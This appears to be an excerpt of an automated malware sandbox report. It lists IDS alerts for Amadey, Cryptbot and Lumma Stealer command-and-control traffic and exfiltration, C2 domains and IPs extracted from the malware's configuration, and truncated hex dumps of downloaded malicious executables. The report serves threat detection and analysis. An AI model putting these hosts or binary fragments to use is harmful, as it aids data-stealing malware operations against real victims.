Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49884 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49907 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49906 -> 104.154.220.71:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49927 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49955
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49971 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49947 -> 104.154.220.71:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50131 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50128
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49913 -> 104.154.220.71:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50156 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49800 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49800 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49882 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49866 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49859 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49989 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49989 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49945 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49945 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49982 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49982 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49977 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50012 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49954 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49954 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50022 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50011 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50074 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50067 -> 172.67.209.202:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: 185.244.212.106:2227
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic

TCP traffic: 192.168.2.4:49777 -> 185.244.212.106:2227

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:06:09 GMTContent-Type: application/octet-streamContent-Length: 30208Last-Modified: Tue, 17 Dec 2024 19:17:00 GMTConnection: keep-aliveETag: "6761ce2c-7600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b 4d 13 d0 cf 2c 7d 83 cf 2c 7d 83 cf 2c 7d 83 ac 71 7e 82 cd 2c 7d 83 c6 54 ee 83 c4 2c 7d 83 cf 2c 7c 83 e6 2c 7d 83 a1 71 74 82 c1 2c 7d 83 a1 71 7f 82 ce 2c 7d 83 52 69 63 68 cf 2c 7d 83 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e5 d4 8c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 60 00 00 00 16 00 00 00 00 00 00 82 22 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 76 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 fc 02 00 00 d0 75 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cd 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f6 0a 00 00 00 70 00 00 00 0c 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 05 00 00 00 80 00 00 00 02 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 fc 02 00 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:06:14 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:06:21 GMTContent-Type: application/octet-streamContent-Length: 4434944Last-Modified: Tue, 17 Dec 2024 20:47:27 GMTConnection: keep-aliveETag: "6761e35f-43ac00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 e0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 b5 00 00 04 00 00 c1 6b 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 cc b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 cc b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 64 62 66 66 61 6c 00 30 1b 00 00 a0 99 00 00 30 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 7a 61 77 72 6b 6c 70 00 10 00 00 00 d0 b4 00 00 06 00 00 00 84 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 b4 00 00 22 00 00 00 8a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:06:34 GMTContent-Type: application/octet-streamContent-Length: 4444160Last-Modified: Tue, 17 Dec 2024 20:53:14 GMTConnection: keep-aliveETag: "6761e4ba-43d000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 f0 c6 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c7 00 00 04 00 00 9f c1 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 d7 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 d6 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 72 00 00 10 00 00 00 2a 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 72 00 00 02 00 00 00 3a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 72 00 00 02 00 00 00 3c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 00 73 00 00 02 00 00 00 3e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 64 7a 65 63 70 66 6d 00 70 1b 00 00 70 ab 00 00 6a 1b 00 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 61 76 71 6a 74 79 63 00 10 00 00 00 e0 c6 00 00 04 00 00 00 aa 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 c6 00 00 22 00 00 00 ae 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:06:46 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:07:00 GMTContent-Type: application/octet-streamContent-Length: 1971200Last-Modified: Tue, 17 Dec 2024 19:32:01 GMTConnection: keep-aliveETag: "6761d1b1-1e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 20 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 9e 06 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 